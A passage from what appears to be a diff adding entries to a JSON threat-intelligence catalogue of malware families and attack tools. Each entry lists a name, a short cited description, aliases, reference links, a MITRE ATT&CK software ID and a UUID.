as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: CORESHELL, SOURFACE", + "value": "CORESHELL - S0137", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0137", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + ], + "external_id": "S0137", + "synonyms": [ + "CORESHELL", + "SOURFACE" + ] + }, + "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81" + }, + { + "description": "SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: SOUNDBITE", + "value": "SOUNDBITE - S0157", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0157", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "external_id": "S0157", + "synonyms": [ + "SOUNDBITE" + ] + }, + "uuid": "9ca488bd-9587-48ef-b923-1743523e63b2" + }, + { + "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron", + "value": "Remsec - S0125", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0125", + "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + ], + "external_id": "S0125", + "synonyms": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ] + }, + "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8" + }, + { + "description": "POORAIM is a backdoor used by APT37 in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)\n\nAliases: POORAIM", + "value": "POORAIM - S0216", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0216", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0216", + "synonyms": [ + "POORAIM" + ] + }, + "uuid": "53d47b09-09c2-4015-8d37-6633ecd53f79" + }, + { + "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: FLASHFLOOD", + "value": "FLASHFLOOD - S0036", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0036", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "external_id": "S0036", + "synonyms": [ + "FLASHFLOOD" + ] + }, + "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a" + }, + { + "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)\n\nAliases: TINYTYPHON", + "value": "TINYTYPHON - S0131", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0131", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "external_id": "S0131", + "synonyms": [ + "TINYTYPHON" + ] + }, + "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca" + }, + { + "description": "Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)\n\nAliases: Gazer, WhiteBear\n\nContributors: Bartosz Jerzman", + "value": "Gazer - S0168", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0168", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + ], + "external_id": "S0168", + "synonyms": [ + "Gazer", + "WhiteBear" + ] + }, + "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4" + }, + { + "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)\n\nAliases: SeaDuke, SeaDaddy, SeaDesk", + "value": "SeaDuke - S0053", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0053", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0053", + "synonyms": [ + "SeaDuke", + "SeaDaddy", + "SeaDesk" + ] + }, + "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14" + }, + { + "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)\n\nAliases: HALFBAKED", + "value": "HALFBAKED - S0151", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0151", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "external_id": "S0151", + "synonyms": [ + "HALFBAKED" + ] + }, + "uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f" + }, + { + "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco", + "value": "ADVSTORESHELL - S0045", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0045", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + ], + "external_id": "S0045", + "synonyms": [ + "ADVSTORESHELL", + "NETUI", + "EVILTOSS", + "AZZY", + "Sedreco" + ] + }, + "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73" + }, + { + "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)\n\nAliases: SNUGRIDE", + "value": "SNUGRIDE - S0159", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0159", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" + ], + "external_id": "S0159", + "synonyms": [ + "SNUGRIDE" + ] + }, + "uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870" + }, + { + "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)\n\nAliases: S-Type", + "value": "S-Type - S0085", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0085", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" + ], + "external_id": "S0085", + "synonyms": [ + "S-Type" + ] + }, + "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131" + }, + { + "description": "Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets\n\nAliases: Chaos", + "value": "Chaos - S0220", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0220" + ], + "external_id": "S0220", + "synonyms": [ + "Chaos" + ] + }, + "uuid": "5bcd5511-6756-4824-a692-e8bb109364af" + }, + { + "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)\n\nAliases: NetTraveler", + "value": "NetTraveler - S0033", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0033", + "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + ], + "external_id": "S0033", + "synonyms": [ + "NetTraveler" + ] + }, + "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e" + }, + { + "description": "RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD", + "value": "RemoteCMD - S0166", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0166", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + ], + "external_id": "S0166", + "synonyms": [ + "RemoteCMD" + ] + }, + "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26" + }, + { + "description": "Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)\n\nAliases: Dyre", + "value": "Dyre - S0024", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0024", + "http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes" + ], + "external_id": "S0024", + "synonyms": [ + "Dyre" + ] + }, + "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe" + }, + { + "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS", + "value": "P2P ZeuS - S0016", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0016", + "http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/" + ], + "external_id": "S0016", + "synonyms": [ + "P2P ZeuS", + "Peer-to-Peer ZeuS", + "Gameover ZeuS" + ] + }, + "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85" + }, + { + "description": " (Citation: FinFisher) is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)\n\nAliases: (Citation: FinFisher), FinSpy", + "value": "FinFisher - S0182", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0182", + "http://www.finfisher.com/FinFisher/index.html", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf", + "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + ], + "external_id": "S0182", + "synonyms": [ + "FinFisher", + "FinSpy" + ] + }, + "uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858" + }, + { + "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)\n\nAliases: ComRAT", + "value": "ComRAT - S0126", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0126", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf", + "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + ], + "external_id": "S0126", + "synonyms": [ + "ComRAT" + ] + }, + "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565" + }, + { + "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)\n\nAliases: POSHSPY", + "value": "POSHSPY - S0150", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0150", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html" + ], + "external_id": "S0150", + "synonyms": [ + "POSHSPY" + ] + }, + "uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808" + }, + { + "description": "is a backdoor used by PLATINUM that is similar to Dipsind. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: adbupd\n\nContributors: Ryan Becwar", + "value": "adbupd - S0202", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0202" + ], + "external_id": "S0202", + "synonyms": [ + "adbupd" + ] + }, + "uuid": "0f1ad2ef-41d4-4b7a-9304-ddae68ea3005" + }, + { + "description": "Felismus is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus", + "value": "Felismus - S0171", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0171", + "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", + "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + ], + "external_id": "S0171", + "synonyms": [ + "Felismus" + ] + }, + "uuid": "196f1f32-e0c2-4d46-99cd-234d4b6befe1" + }, + { + "description": "Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys", + "value": "Truvasys - S0178", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0178", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf" + ], + "external_id": "S0178", + "synonyms": [ + "Truvasys" + ] + }, + "uuid": "691c60e2-273d-4d56-9ce6-b67e0f8719ad" + }, + { + "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)\n\nAliases: Winnti", + "value": "Winnti - S0141", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0141", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", + "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" + ], + "external_id": "S0141", + "synonyms": [ + "Winnti" + ] + }, + "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21" + }, + { + "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)\n\nAliases: RTM", + "value": "RTM - S0148", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0148", + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + ], + "external_id": "S0148", + "synonyms": [ + "RTM" + ] + }, + "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841" + }, + { + "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: CallMe", + "value": "CallMe - S0077", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0077", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "external_id": "S0077", + "synonyms": [ + "CallMe" + ] + }, + "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5" + }, + { + "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)\n\nAliases: HIDEDRV", + "value": "HIDEDRV - S0135", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0135", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" + ], + "external_id": "S0135", + "synonyms": [ + "HIDEDRV" + ] + }, + "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4" + }, + { + "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)\n\nAliases: Mis-Type", + "value": "Mis-Type - S0084", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0084", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" + ], + "external_id": "S0084", + "synonyms": [ + "Mis-Type" + ] + }, + "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61" + }, + { + "description": "Hikit is malware that has been used by (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)\n\nAliases: Hikit", + "value": "Hikit - S0009", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0009", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf" + ], + "external_id": "S0009", + "synonyms": [ + "Hikit" + ] + }, + "uuid": "95047f03-4811-4300-922e-1ba937d53a61" + }, + { + "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)\n\nAliases: ASPXSpy, ASPXTool", + "value": "ASPXSpy - S0073", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0073", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" + ], + "external_id": "S0073", + "synonyms": [ + "ASPXSpy", + "ASPXTool" + ] + }, + "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2" + }, + { + "description": "Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: Dipsind\n\nContributors: Ryan Becwar", + "value": "Dipsind - S0200", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0200" + ], + "external_id": "S0200", + "synonyms": [ + "Dipsind" + ] + }, + "uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517" + }, + { + "description": "SEASHARPEE is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE", + "value": "SEASHARPEE - S0185", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0185", + "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + ], + "external_id": "S0185", + "synonyms": [ + "SEASHARPEE" + ] + }, + "uuid": "0998045d-f96e-4284-95ce-3c8219707486" + }, + { + "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)\n\nAliases: Sykipot", + "value": "Sykipot - S0018", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0018", + "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards", + "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + ], + "external_id": "S0018", + "synonyms": [ + "Sykipot" + ] + }, + "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9" + }, + { + "description": "DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper", + "value": "DownPaper - S0186", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0186", + "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf" + ], + "external_id": "S0186", + "synonyms": [ + "DownPaper" + ] + }, + "uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148" + }, + { + "description": "OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)\n\nAliases: OSInfo", + "value": "OSInfo - S0165", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0165", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + ], + "external_id": "S0165", + "synonyms": [ + "OSInfo" + ] + }, + "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8" + }, + { + "description": "HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors. (Citation: FireEye Periscope March 2018)\n\nAliases: HOMEFRY", + "value": "HOMEFRY - S0232", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0232", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "external_id": "S0232", + "synonyms": [ + "HOMEFRY" + ] + }, + "uuid": "7451bcf9-e6e6-4a70-bc3d-1599173d0035" + }, + { + "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)\n\nAliases: GLOOXMAIL, Trojan.GTALK", + "value": "GLOOXMAIL - S0026", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0026", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0026", + "synonyms": [ + "GLOOXMAIL", + "Trojan.GTALK" + ] + }, + "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2" + }, + { + "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)\n\nAliases: Emissary", + "value": "Emissary - S0082", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0082", + "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + ], + "external_id": "S0082", + "synonyms": [ + "Emissary" + ] + }, + "uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1" + }, + { + "description": "PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)\n\nAliases: PUNCHTRACK, PSVC", + "value": "PUNCHTRACK - S0197", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0197", + "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html", + "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + ], + "external_id": "S0197", + "synonyms": [ + "PUNCHTRACK", + "PSVC" + ] + }, + "uuid": "c4de7d83-e875-4c88-8b5d-06c41e5b7e79" + }, + { + "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner", + "value": "Miner-C - S0133", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0133", + "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + ], + "external_id": "S0133", + "synonyms": [ + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" + ] + }, + "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234" + }, + { + "description": " (Citation: DustySky) is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2\n\nAliases: (Citation: DustySky), NeD Worm", + "value": "DustySky - S0062", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0062" + ], + "external_id": "S0062", + "synonyms": [ + "DustySky", + "NeD Worm" + ] + }, + "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54" + }, + { + "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper", + "value": "BUBBLEWRAP - S0043", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0043", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "external_id": "S0043", + "synonyms": [ + "BUBBLEWRAP", + "Backdoor.APT.FakeWinHTTPHelper" + ] + }, + "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b" + }, + { + "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)\n\nAliases: pngdowner", + "value": "pngdowner - S0067", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0067", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "external_id": "S0067", + "synonyms": [ + "pngdowner" + ] + }, + "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d" + }, + { + "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)\n\nAliases: SslMM", + "value": "SslMM - S0058", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0058", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "external_id": "S0058", + "synonyms": [ + "SslMM" + ] + }, + "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421" + }, + { + "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)\n\nAliases: Nidiran, Backdoor.Nidiran", + "value": "Nidiran - S0118", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0118", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + ], + "external_id": "S0118", + "synonyms": [ + "Nidiran", + "Backdoor.Nidiran" + ] + }, + "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe" + }, + { + "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)\n\nAliases: Trojan.Mebromi", + "value": "Trojan.Mebromi - S0001", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0001", + "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + ], + "external_id": "S0001", + "synonyms": [ + "Trojan.Mebromi" + ] + }, + "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec" + }, + { + "description": "is a backdoor typically used by APT37 as first-stage malware. (Citation: FireEye APT37 Feb 2018)\n\nAliases: KARAE", + "value": "KARAE - S0215", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0215", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0215", + "synonyms": [ + "KARAE" + ] + }, + "uuid": "3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322" + }, + { + "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: OwaAuth", + "value": "OwaAuth - S0072", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0072", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" + ], + "external_id": "S0072", + "synonyms": [ + "OwaAuth" + ] + }, + "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5" + }, + { + "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)\n\nAliases: ROCKBOOT", + "value": "ROCKBOOT - S0112", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0112", + "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + ], + "external_id": "S0112", + "synonyms": [ + "ROCKBOOT" + ] + }, + "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7" + }, + { + "description": "MURKYTOP is a reconnaissance tool used by Leviathan. (Citation: FireEye Periscope March 2018)\n\nAliases: MURKYTOP", + "value": "MURKYTOP - S0233", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0233", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "external_id": "S0233", + "synonyms": [ + "MURKYTOP" + ] + }, + "uuid": "049ff071-0b3c-4712-95d2-d21c6aa54501" + }, + { + "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke", + "value": "OnionDuke - S0052", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0052", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0052", + "synonyms": [ + "OnionDuke" + ] + }, + "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e" + }, + { + "description": "JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: JPIN\n\nContributors: Ryan Becwar", + "value": "JPIN - S0201", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0201" + ], + "external_id": "S0201", + "synonyms": [ + "JPIN" + ] + }, + "uuid": "de6cb631-52f6-4169-a73b-7965390b0c30" + }, + { + "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)\n\nAliases: LOWBALL", + "value": "LOWBALL - S0042", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0042", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "external_id": "S0042", + "synonyms": [ + "LOWBALL" + ] + }, + "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b" + }, + { + "description": "is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec 